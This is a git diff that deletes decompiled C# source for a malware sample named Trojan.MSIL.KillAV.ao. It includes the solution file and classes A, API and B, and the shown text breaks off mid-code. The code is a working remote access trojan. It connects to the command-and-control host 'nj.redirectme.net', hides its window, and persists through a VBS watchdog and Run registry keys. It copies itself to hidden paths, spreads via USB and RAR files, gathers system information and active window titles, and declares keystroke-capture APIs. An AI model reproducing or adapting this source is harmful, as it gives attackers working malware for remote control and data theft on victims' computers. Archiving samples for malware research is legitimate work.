{1442ECD2-5AEB-4D39-BED0-F40A664B7F18} - WinExe - p - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/Trojan.MSIL.KillAV.ao.sln b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/Trojan.MSIL.KillAV.ao.sln deleted file mode 100644 index f703d6fc..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/Trojan.MSIL.KillAV.ao.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "p", "Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.csproj", "{1442ECD2-5AEB-4D39-BED0-F40A664B7F18}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {1442ECD2-5AEB-4D39-BED0-F40A664B7F18}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {1442ECD2-5AEB-4D39-BED0-F40A664B7F18}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1442ECD2-5AEB-4D39-BED0-F40A664B7F18}.Release|Any CPU.ActiveCfg = Release|Any CPU - {1442ECD2-5AEB-4D39-BED0-F40A664B7F18}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/A.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/A.cs deleted file mode 100644 index a23006ba..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/A.cs +++ /dev/null @@ -1,135 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.A -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Resources; -using System.Runtime.CompilerServices; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - public class A - { - [AccessedThroughProperty("B")] - private BackgroundWorker _B; - public static Process fj = new Process(); - private string u; - private string z; - - public A() - { - this.B = new BackgroundWorker(); - this.u = Application.StartupPath + "\\" + Process.GetCurrentProcess().Id.ToString() + ".vbs"; - string q = n.My.Resources.Resources.Q; - this.z = API.DEB(ref q).Replace("NJP", Application.ExecutablePath).Replace("NJF", Conversions.ToString(Process.GetCurrentProcess().Id)); - } - - public virtual BackgroundWorker B - { - get => this._B; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - DoWorkEventHandler workEventHandler = (DoWorkEventHandler) ((a0, a1) => this.D()); - if (this._B != null) - this._B.DoWork -= workEventHandler; - this._B = value; - if (this._B == null) - return; - this._B.DoWork += workEventHandler; - } - } - - public void D() - { - byte[] B = (byte[]) new ResourceManager("nv.Resources", Assembly.LoadFile(Application.ExecutablePath)).GetObject("P"); - bool flag = false; - ref bool local1 = ref flag; - byte[] numArray = API.ZIP(B, ref local1); -label_1: - try - { - File.WriteAllText(this.u, this.z); - A.fj.StartInfo.FileName = this.u; - A.fj.Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_4: - try - { - ref byte[] local2 = ref numArray; - string str1 = "P.V"; - ref string local3 = ref str1; - string str2 = "FWD"; - ref string local4 = ref str2; - object obj1 = (object) new object[1] - { - (object) "Windows Script Host" - }; - ref object local5 = ref obj1; - int integer = Conversions.ToInteger(C.inv(ref local2, ref local3, ref local4, ref local5)); - ref byte[] local6 = ref numArray; - string str3 = "P.V"; - ref string local7 = ref str3; - string str4 = "Iswd"; - ref string local8 = ref str4; - object obj2 = (object) new object[1] - { - (object) integer - }; - ref object local9 = ref obj2; - if (Operators.ConditionalCompareObjectEqual(C.inv(ref local6, ref local7, ref local8, ref local9), (object) 1, false)) - { - try - { - A.fj.Kill(); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - API.wd.ShowWindow(integer, 0); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - Thread.Sleep(100); - try - { - if (!A.fj.WaitForExit(100)) - goto label_4; - else - goto label_1; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/API.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/API.cs deleted file mode 100644 index 649db9c0..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/API.cs +++ /dev/null @@ -1,262 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.API -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.MyServices; -using n.My; -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.IO.Compression; -using System.Runtime.InteropServices; -using System.Text; - -namespace n -{ - [StandardModule] - internal sealed class API - { - private const uint LOCALE_SYSTEM_DEFAULT = 1024; - private const uint LOCALE_SABBREVCTRYNAME = 7; - - public static string fx(ref Array A) - { - string str1; - try - { - foreach (object obj in A) - { - string str2 = Conversions.ToString(obj); - bool flag; - if (Strings.InStr(str2, "Local Address") > 0) - flag = true; - else if (flag) - { - string str3; - if (Operators.CompareString(str2, "", false) == 0) - { - str1 = Strings.Mid(str3, 1, checked (str3.Length - 1)); - break; - } - do - { - str2 = Strings.Replace(str2, " ", " "); - } - while (Strings.InStr(str2, " ") > 0); - string[] strArray = Strings.Split(str2); - string str4; - try - { - str4 = Strings.Split(Process.GetProcessById(Conversions.ToInteger(strArray[5])).MainModule.FileName, "\\")[checked (Strings.Split(Process.GetProcessById(Conversions.ToInteger(strArray[5])).MainModule.FileName, "\\").Length - 1)] + ":" + strArray[5]; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str4 = Process.GetProcessById(Conversions.ToInteger(strArray[5])).ProcessName + ":" + strArray[5]; - ProjectData.ClearProjectError(); - } - str3 = str3 + str4 + "," + strArray[1] + "," + strArray[2] + "," + strArray[3].ToLower().Replace(MyProject.Computer.Name.ToLower(), "127.0.0.1") + "," + strArray[4] + "!"; - } - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - return str1; - } - - public static string Gt() - { - Process process = Process.Start(new ProcessStartInfo() - { - UseShellExecute = false, - RedirectStandardError = true, - RedirectStandardInput = true, - RedirectStandardOutput = true, - WindowStyle = ProcessWindowStyle.Hidden, - CreateNoWindow = true, - FileName = "cmd" - }); - process.StandardInput.WriteLine("netstat -o"); - process.StandardInput.WriteLine("exit"); - StreamReader streamReader = new StreamReader(process.StandardOutput.BaseStream); - Array A = (Array) Strings.Split(process.StandardOutput.ReadToEnd(), "\r\n"); - return API.fx(ref A); - } - - public static byte[] ZIP(byte[] B, ref bool CM) - { - if (CM) - { - MemoryStream memoryStream = new MemoryStream(); - GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true); - gzipStream.Write(B, 0, B.Length); - gzipStream.Dispose(); - memoryStream.Position = 0L; - byte[] buffer = new byte[checked ((int) memoryStream.Length + 1)]; - memoryStream.Read(buffer, 0, buffer.Length); - memoryStream.Dispose(); - return buffer; - } - MemoryStream memoryStream1 = new MemoryStream(B); - GZipStream gzipStream1 = new GZipStream((Stream) memoryStream1, CompressionMode.Decompress); - byte[] buffer1 = new byte[4]; - memoryStream1.Position = checked (memoryStream1.Length - 5L); - memoryStream1.Read(buffer1, 0, 4); - int int32 = BitConverter.ToInt32(buffer1, 0); - memoryStream1.Position = 0L; - byte[] array = new byte[checked (int32 - 1 + 1)]; - gzipStream1.Read(array, 0, int32); - gzipStream1.Dispose(); - memoryStream1.Dispose(); - return array; - } - - public static string FEN(byte[] B) => Convert.ToBase64String(B); - - public static byte[] FDE(string B) => Convert.FromBase64String(B); - - public static string ENB(ref string s) => Convert.ToBase64String(Encoding.UTF8.GetBytes(s)); - - public static string DEB(ref string s) => Encoding.UTF8.GetString(Convert.FromBase64String(s)); - - [DllImport("kernel32.dll")] - private static extern int GetLocaleInfo( - uint Locale, - uint LCType, - [Out] StringBuilder lpLCData, - int cchData); - - private static string Gcc(uint lInfo) - { - StringBuilder lpLCData = new StringBuilder(256); - int localeInfo = API.GetLocaleInfo(1024U, lInfo, lpLCData, lpLCData.Capacity); - return localeInfo > 0 ? lpLCData.ToString().Substring(0, checked (localeInfo - 1)) : string.Empty; - } - - public static string Gc() => API.Gcc(7U); - - public static string A0() - { - RegistryProxy registry = MyProject.Computer.Registry; - string str1 = B.PC + "\r\n"; - string str2; - try - { - str2 = str1 + API.Gc() + "\r\n"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str2 = str1 + "X\r\n"; - ProjectData.ClearProjectError(); - } - string str3; - try - { - str3 = str2 + MyProject.Computer.Info.OSFullName + "\r\n"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str3 = str2 + "X\r\n"; - ProjectData.ClearProjectError(); - } - string Expression = (B.CAM ? str3 + "Yes\r\n" : str3 + "No\r\n") + B.ver; - string str4; - try - { - str4 = Strings.Replace(Strings.Replace(Strings.Replace(Expression, "Microsoft", ""), "Windows", "Win").Replace("®", "").Replace("™", ""), " ", " "); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str4 = Expression + "X\r\n"; - ProjectData.ClearProjectError(); - } - return str4 + "\r\n \r\n "; - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetForegroundWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowThreadProcessId(IntPtr hwnd, ref int lpdwProcessID); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(long hwnd); - - public static string A1(ref bool p) - { - string str1; - try - { - IntPtr foregroundWindow = API.GetForegroundWindow(); - if (foregroundWindow == IntPtr.Zero) - { - str1 = ""; - } - else - { - int windowTextLength = API.GetWindowTextLength((long) foregroundWindow); - string str2 = Strings.StrDup(checked (windowTextLength + 1), "*"); - API.GetWindowText(foregroundWindow, ref str2, checked (windowTextLength + 1)); - int lpdwProcessID; - API.GetWindowThreadProcessId(foregroundWindow, ref lpdwProcessID); - if (lpdwProcessID == 0) - { - str1 = API.ENB(ref str2); - } - else - { - try - { - string mainWindowTitle = Process.GetProcessById(lpdwProcessID).MainWindowTitle; - str1 = API.ENB(ref mainWindowTitle); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = API.ENB(ref str2); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = ""; - ProjectData.ClearProjectError(); - } - return str1; - } - - public class wd - { - public const int HIDE = 0; - public const int Normal = 1; - public const int Minimized = 2; - public const int Maximized = 3; - public const int Show = 5; - public const int RESTORE = 9; - public int hWnd; - - public static void G(ref int hwd, ref int A) => API.wd.ShowWindow(hwd, A); - - [DllImport("user32")] - public static extern int ShowWindow(int hwnd, int nCmdShow); - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/B.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/B.cs deleted file mode 100644 index 3580e1b8..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/B.cs +++ /dev/null @@ -1,1335 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.B -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.Devices; -using Microsoft.Win32; -using n.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - [DesignerGenerated] - public class B : Form - { - private IContainer components; - [AccessedThroughProperty("fs")] - private FileSystemWatcher _fs; - public static bool Fw = false; - public static bool FT = false; - public static bool netsh; - public static bool isFT; - public static bool KON; - public static string Vname = "VmljdGlt"; - public static bool DS; - public static string PC = "X"; - public static string ver = "1.6.2"; - public static string exename; - private string LA; - public static bool ISEND; - public A BW; - public static bool Busy; - public static bool CAM = false; - public static int ms; - [AccessedThroughProperty("WC")] - private SocketsClient _WC; - [AccessedThroughProperty("wL")] - private System.Windows.Forms.Timer _wL; - [AccessedThroughProperty("k")] - private System.Windows.Forms.Timer _k; - public static bool Connecting = false; - public static string no = "nj.redirectme.net:7"; - public static string Ai; - public static string SU = "*"; - public static bool UU; - public static string Uo = "*"; - public static string Ui = "*"; - public static string spread = "*"; - public static string mU = "*"; - public static string FR; - public static string Cht; - public static string plg = "p161"; - private int c2; - private int cc; - private int c0; - private int c3; - public static Mutex jMutex; - public static chat Chat; - private static string[] Block = new string[100000]; - private static int inx; - private static int err; - - public B() - { - this.FormClosing += new FormClosingEventHandler(this.B_FormClosing); - this.Load += new EventHandler(this.B_Load); - this.BW = new A(); - this.WC = new SocketsClient(); - this.wL = new System.Windows.Forms.Timer(); - this.k = new System.Windows.Forms.Timer(); - this.InitializeComponent(); - } - - [STAThread] - public static void Main() => Application.Run((Form) MyProject.Forms.B); - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.fs = new FileSystemWatcher(); - this.fs.BeginInit(); - this.SuspendLayout(); - this.fs.EnableRaisingEvents = true; - this.fs.IncludeSubdirectories = true; - this.fs.SynchronizingObject = (ISynchronizeInvoke) this; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(10, 10); - this.FormBorderStyle = FormBorderStyle.None; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (B); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.WindowState = FormWindowState.Minimized; - this.fs.EndInit(); - this.ResumeLayout(false); - } - - internal virtual FileSystemWatcher fs - { - get => this._fs; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - FileSystemEventHandler systemEventHandler = new FileSystemEventHandler(this.fs_Created); - if (this._fs != null) - this._fs.Created -= systemEventHandler; - this._fs = value; - if (this._fs == null) - return; - this._fs.Created += systemEventHandler; - } - } - - public virtual SocketsClient WC - { - get => this._WC; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - SocketsClient.onDataArrivalEventHandler arrivalEventHandler = new SocketsClient.onDataArrivalEventHandler(this.W3); - SocketsClient.onDisconnectEventHandler disconnectEventHandler = new SocketsClient.onDisconnectEventHandler(this.W2); - SocketsClient.onErrorEventHandler errorEventHandler = new SocketsClient.onErrorEventHandler(this.W1); - SocketsClient.onConnectEventHandler connectEventHandler = new SocketsClient.onConnectEventHandler(this.W0); - if (this._WC != null) - { - this._WC.onDataArrival -= arrivalEventHandler; - this._WC.onDisconnect -= disconnectEventHandler; - this._WC.onError -= errorEventHandler; - this._WC.onConnect -= connectEventHandler; - } - this._WC = value; - if (this._WC == null) - return; - this._WC.onDataArrival += arrivalEventHandler; - this._WC.onDisconnect += disconnectEventHandler; - this._WC.onError += errorEventHandler; - this._WC.onConnect += connectEventHandler; - } - } - - public virtual System.Windows.Forms.Timer wL - { - get => this._wL; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = (EventHandler) ((a0, a1) => this.wL_()); - if (this._wL != null) - this._wL.Tick -= eventHandler; - this._wL = value; - if (this._wL == null) - return; - this._wL.Tick += eventHandler; - } - } - - public virtual System.Windows.Forms.Timer k - { - get => this._k; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._k = value; - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(long vKey); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetProcessWorkingSetSize( - IntPtr process, - int minimumWorkingSetSize, - int maximumWorkingSetSize); - - public static void E() - { - try - { - while (true) - { - do - { - Thread.Sleep(10000); - GC.Collect(); - GC.WaitForPendingFinalizers(); - } - while (Environment.OSVersion.Platform != PlatformID.Win32NT); - B.SetProcessWorkingSetSize(Process.GetCurrentProcess().Handle, -1, -1); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void CL() - { - B.KON = false; - B.Busy = false; - try - { - chat.clos = true; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void B_FormClosing(object sender, FormClosingEventArgs e) - { - if (e.CloseReason == CloseReason.WindowsShutDown) - ProjectData.EndApp(); - else - e.Cancel = true; - } - - public void R() - { - MemoryStream memoryStream1 = new MemoryStream(); - Array Instance1 = (Array) File.ReadAllBytes(Application.ExecutablePath); - int num1 = checked (Instance1.Length - 400); - int num2 = checked (Instance1.Length - 1); - int num3 = num1; - while (num3 <= num2) - { - int num4; - if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num3 - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 1) - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 2) - }, (string[]) null)))), "***", false) == 0) - num4 = checked (num3 + 1); - int num5; - if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num3 - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 1) - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 2) - }, (string[]) null)))), "^^^", false) == 0) - num5 = checked (num3 - 3); - if (num4 > 0 & num5 == 0) - memoryStream1.WriteByte(Conversions.ToByte(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num3 - }, (string[]) null))); - checked { ++num3; } - } - byte[] array1 = memoryStream1.ToArray(); - MemoryStream memoryStream2 = new MemoryStream(); - memoryStream2.Write(array1, 1, checked (array1.Length - 3)); - Encoding encoding = Encoding.Default; - byte[] array2 = memoryStream2.ToArray(); - bool flag = false; - ref bool local1 = ref flag; - byte[] bytes = API.ZIP(array2, ref local1); - Array Instance2 = (Array) Strings.Split(encoding.GetString(bytes), IND.Y); - B.no = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 0 - }, (string[]) null)); - B.SU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 1 - }, (string[]) null)); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null), (object) "*", false)) - { - B.Ai = "*"; - } - else - { - B.Ai = Interaction.Environ(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[1]) + "\\" + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[0]; - if (Operators.CompareString(B.Ai, Application.ExecutablePath, false) != 0) - { - try - { - if (File.Exists(B.Ai)) - File.Delete(B.Ai); - File.Copy(Application.ExecutablePath, B.Ai, true); - try - { - File.SetAttributes(B.Ai, FileAttributes.Hidden); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (Operators.CompareString(Conversions.ToString(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[2][0]), "T", false) == 0) - { - string ai = B.Ai; - string executablePath = Application.ExecutablePath; - string arguments = "Kill@" + API.ENB(ref executablePath); - Process.Start(ai, arguments); - } - else - Process.Start(B.Ai); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.EndApp(); - ProjectData.ClearProjectError(); - } - } - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 3 - }, (string[]) null), (object) "^", false)) - B.UU = true; - if (Strings.InStr(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 4 - }, (string[]) null)), "*") == 0) - { - B.Uo = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 4 - }, (string[]) null)); - new Thread((ParameterizedThreadStart) (a0 => USB.USb(Conversions.ToString(a0)))).Start((object) B.Uo); - B.spread = "(" + B.Uo + ")USB,"; - } - B.mU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 5 - }, (string[]) null)); - try - { - Mutex.OpenExisting(B.mU); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - B.jMutex = new Mutex(true, B.mU); - if (!Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 6 - }, (string[]) null), (object) "*", false)) - { - B.spread += "Rar,"; - B.Ui = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 6 - }, (string[]) null)); - this.fs.Path = Interaction.Environ("homedrive") + "\\"; - this.fs.EnableRaisingEvents = true; - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 9 - }, (string[]) null), (object) "^", false)) - { - B.Fw = true; - new Thread(new ThreadStart(this.fwb)).Start(); - } - else - B.Fw = false; - Registry.CurrentUser.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 8 - }, (string[]) null))); - NK.Key = Conversions.ToString(Operators.ConcatenateObject((object) "HKEY_CURRENT_USER\\Software\\", NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 8 - }, (string[]) null))); - string str1 = "vname"; - ref string local2 = ref str1; - Array Instance3 = Instance2; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num6 = 7; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num6; - objArray2[0] = (object) local3; - object[] Arguments = objArray1; - string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance3, Arguments, (string[]) null)); - ref string local4 = ref str2; - string str3 = NK.GetValue(ref local2, ref local4); - NewLateBinding.LateIndexSetComplex((object) Instance2, new object[2] - { - (object) num6, - (object) str2 - }, (string[]) null, true, false); - B.Vname = str3; - } - - public void fwb() - { - try - { - byte[] p = n.My.Resources.Resources.P; - bool flag = false; - ref bool local1 = ref flag; - byte[] numArray = API.ZIP(p, ref local1); - ref byte[] local2 = ref numArray; - string str1 = "P.V"; - ref string local3 = ref str1; - string str2 = "main"; - ref string local4 = ref str2; - object obj = (object) null; - ref object local5 = ref obj; - C.inv(ref local2, ref local3, ref local4, ref local5); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.Fw = false; - ProjectData.ClearProjectError(); - } - } - - private void B_Load(object sender, EventArgs e) - { - try - { - B.exename = Process.GetCurrentProcess().ProcessName; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.exename = "!"; - ProjectData.ClearProjectError(); - } - try - { - Control.CheckForIllegalCrossThreadCalls = false; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - byte[] plugin = n.My.Resources.Resources.plugin; - bool flag = false; - ref bool local = ref flag; - C.Plug = API.ZIP(plugin, ref local); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - B.CAM = Operators.CompareString(new Cam().Dnames(), "", false) != 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.CAM = false; - ProjectData.ClearProjectError(); - } - try - { - B.PC = Environment.MachineName + "\\" + Environment.UserName; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.Hide(); - this.Visible = false; - try - { - string Expression = Interaction.Command(); - if (Expression.Length > 0) - { - Array Instance1 = (Array) Strings.Split(Expression, "@"); - object Left = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left, (object) "!0", false)) - { - Thread.Sleep(100); - try - { - Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))).Kill(); - Process[] processesByName = Process.GetProcessesByName("wscript"); - int index = 0; - while (index < processesByName.Length) - { - Process process = processesByName[index]; - try - { - process.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - File.Delete(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - 